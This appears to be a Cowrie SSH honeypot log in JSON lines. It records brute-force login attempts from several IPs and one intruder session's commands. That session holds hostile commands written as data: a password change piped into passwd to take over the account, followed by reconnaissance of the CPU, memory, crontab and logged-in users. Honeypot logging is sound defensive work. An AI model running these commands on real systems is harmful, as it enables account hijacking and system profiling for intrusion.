{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:07:17.063067Z","src_ip":"152.32.171.213","session":"39997a296a18","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.32.171.213","src_port":46788,"dst_ip":"10.17.0.5","dst_port":22,"session":"3052bfa2f6ba","protocol":"ssh","message":"New connection: 152.32.171.213:46788 (10.17.0.5:22) [session: 3052bfa2f6ba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:07:17.263430Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:07:17.267669Z","src_ip":"152.32.171.213","session":"3052bfa2f6ba","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:07:17.481959Z","src_ip":"152.32.171.213","session":"3052bfa2f6ba","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:07:18.375397Z","src_ip":"152.32.171.213","session":"3052bfa2f6ba","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:07:19.594104Z","src_ip":"152.32.171.213","session":"3052bfa2f6ba","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.32.171.213","src_port":46802,"dst_ip":"10.17.0.5","dst_port":22,"session":"28b5a99197cc","protocol":"ssh","message":"New connection: 152.32.171.213:46802 (10.17.0.5:22) [session: 28b5a99197cc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:07:20.818455Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:07:20.823028Z","src_ip":"152.32.171.213","session":"28b5a99197cc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:07:21.039132Z","src_ip":"152.32.171.213","session":"28b5a99197cc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.13.206.100","src_port":40424,"dst_ip":"10.17.0.5","dst_port":22,"session":"808eceab2472","protocol":"ssh","message":"New connection: 103.13.206.100:40424 (10.17.0.5:22) [session: 808eceab2472]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:07:21.098425Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:07:21.102934Z","src_ip":"103.13.206.100","session":"808eceab2472","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:07:21.340035Z","src_ip":"103.13.206.100","session":"808eceab2472","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"3245gs5662d34","message":"login attempt [admin/3245gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:07:21.920983Z","src_ip":"152.32.171.213","session":"28b5a99197cc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"123456.","message":"login attempt [ubuntu/123456.] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:07:22.319818Z","src_ip":"103.13.206.100","session":"808eceab2472","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:07:23.137537Z","src_ip":"152.32.171.213","session":"28b5a99197cc","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:07:23.445975Z","src_ip":"152.32.171.213","session":"39997a296a18","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/cpuinfo | grep name | wc -l","message":"CMD: cat /proc/cpuinfo | grep name | wc -l","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:07:23.449423Z","src_ip":"152.32.171.213","session":"39997a296a18","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:07:23.560465Z","src_ip":"103.13.206.100","session":"808eceab2472","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/3f1f9a5db692d999bb3d576b5e9956a242136e961ff3f52ba6202b1254ccdb99","size":2,"shasum":"3f1f9a5db692d999bb3d576b5e9956a242136e961ff3f52ba6202b1254ccdb99","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/3f1f9a5db692d999bb3d576b5e9956a242136e961ff3f52ba6202b1254ccdb99 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:07:23.670979Z","src_ip":"152.32.171.213","session":"39997a296a18","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:07:24.147916Z","src_ip":"152.32.171.213","session":"39997a296a18","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"echo -e \"admin@12345\\nrhQRHB2rudie\\nrhQRHB2rudie\"|passwd|bash","message":"CMD: echo -e \"admin@12345\\nrhQRHB2rudie\\nrhQRHB2rudie\"|passwd|bash","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:07:24.151564Z","src_ip":"152.32.171.213","session":"39997a296a18","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"Enter new UNIX password: ","message":"CMD: Enter new UNIX password: ","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:07:24.155566Z","src_ip":"152.32.171.213","session":"39997a296a18","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"Enter new UNIX password:","message":"Command not found: Enter new UNIX password:","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:07:24.159405Z","src_ip":"152.32.171.213","session":"39997a296a18","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/19e3beb9d60a15844feb4d57beba07ed67e78c17639de3b5c8671a2f018ec445","size":32,"shasum":"19e3beb9d60a15844feb4d57beba07ed67e78c17639de3b5c8671a2f018ec445","duplicate":false,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/19e3beb9d60a15844feb4d57beba07ed67e78c17639de3b5c8671a2f018ec445 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:07:24.381056Z","src_ip":"152.32.171.213","session":"39997a296a18","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:07:24.894678Z","src_ip":"152.32.171.213","session":"39997a296a18","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"echo \"admin@12345\\nrhQRHB2rudie\\nrhQRHB2rudie\\n\"|passwd","message":"CMD: echo \"admin@12345\\nrhQRHB2rudie\\nrhQRHB2rudie\\n\"|passwd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:07:24.898314Z","src_ip":"152.32.171.213","session":"39997a296a18","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/9ba24c0cbe2d4fdc489a6ff2651a3ffb58d7833a91a659e865e50452118598a2","size":25,"shasum":"9ba24c0cbe2d4fdc489a6ff2651a3ffb58d7833a91a659e865e50452118598a2","duplicate":false,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/9ba24c0cbe2d4fdc489a6ff2651a3ffb58d7833a91a659e865e50452118598a2 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:07:25.120465Z","src_ip":"152.32.171.213","session":"39997a296a18","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:07:25.642127Z","src_ip":"152.32.171.213","session":"39997a296a18","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'","message":"CMD: cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:07:25.645710Z","src_ip":"152.32.171.213","session":"39997a296a18","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe","size":35,"shasum":"95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:07:25.866544Z","src_ip":"152.32.171.213","session":"39997a296a18","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:07:26.337858Z","src_ip":"152.32.171.213","session":"39997a296a18","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'","message":"CMD: free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:07:26.340793Z","src_ip":"152.32.171.213","session":"39997a296a18","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"112.217.199.222","src_port":33516,"dst_ip":"10.17.0.5","dst_port":22,"session":"112ee197e3a4","protocol":"ssh","message":"New connection: 112.217.199.222:33516 (10.17.0.5:22) [session: 112ee197e3a4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:07:26.346702Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:07:26.351274Z","src_ip":"112.217.199.222","session":"112ee197e3a4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:07:26.552615Z","src_ip":"112.217.199.222","session":"112ee197e3a4","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c","size":26,"shasum":"ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:07:26.560079Z","src_ip":"152.32.171.213","session":"39997a296a18","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:07:27.024078Z","src_ip":"152.32.171.213","session":"39997a296a18","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"ls -lh $(which ls)","message":"CMD: ls -lh $(which ls)","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:07:27.026965Z","src_ip":"152.32.171.213","session":"39997a296a18","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"which ls","message":"CMD: which ls","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:07:27.029547Z","src_ip":"152.32.171.213","session":"39997a296a18","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0","size":55,"shasum":"a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:07:27.249198Z","src_ip":"152.32.171.213","session":"39997a296a18","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"Aa@123456","message":"login attempt [ubuntu/Aa@123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:07:27.472549Z","src_ip":"112.217.199.222","session":"112ee197e3a4","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:07:27.718398Z","src_ip":"152.32.171.213","session":"39997a296a18","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"crontab -l","message":"CMD: crontab -l","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:07:27.721173Z","src_ip":"152.32.171.213","session":"39997a296a18","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8","size":21,"shasum":"f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:07:27.939052Z","src_ip":"152.32.171.213","session":"39997a296a18","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:07:28.402970Z","src_ip":"152.32.171.213","session":"39997a296a18","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"w","message":"CMD: w","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:07:28.406094Z","src_ip":"152.32.171.213","session":"39997a296a18","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326","size":206,"shasum":"50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:07:28.625801Z","src_ip":"152.32.171.213","session":"39997a296a18","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:07:28.675852Z","src_ip":"112.217.199.222","session":"112ee197e3a4","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:07:29.100636Z","src_ip":"152.32.171.213","session":"39997a296a18","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -m","message":"CMD: uname -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:07:29.103897Z","src_ip":"152.32.171.213","session":"39997a296a18","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d","size":7,"shasum":"ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:07:29.323938Z","src_ip":"152.32.171.213","session":"39997a296a18","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:07:29.792668Z","src_ip":"152.32.171.213","session":"39997a296a18","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/cpuinfo | grep model | grep name | wc -l","message":"CMD: cat /proc/cpuinfo | grep model | grep name | wc -l","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:07:29.795833Z","src_ip":"152.32.171.213","session":"39997a296a18","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420","size":2,"shasum":"64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:07:30.017698Z","src_ip":"152.32.171.213","session":"39997a296a18","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:07:30.496432Z","src_ip":"152.32.171.213","session":"39997a296a18","protocol":"ssh"}
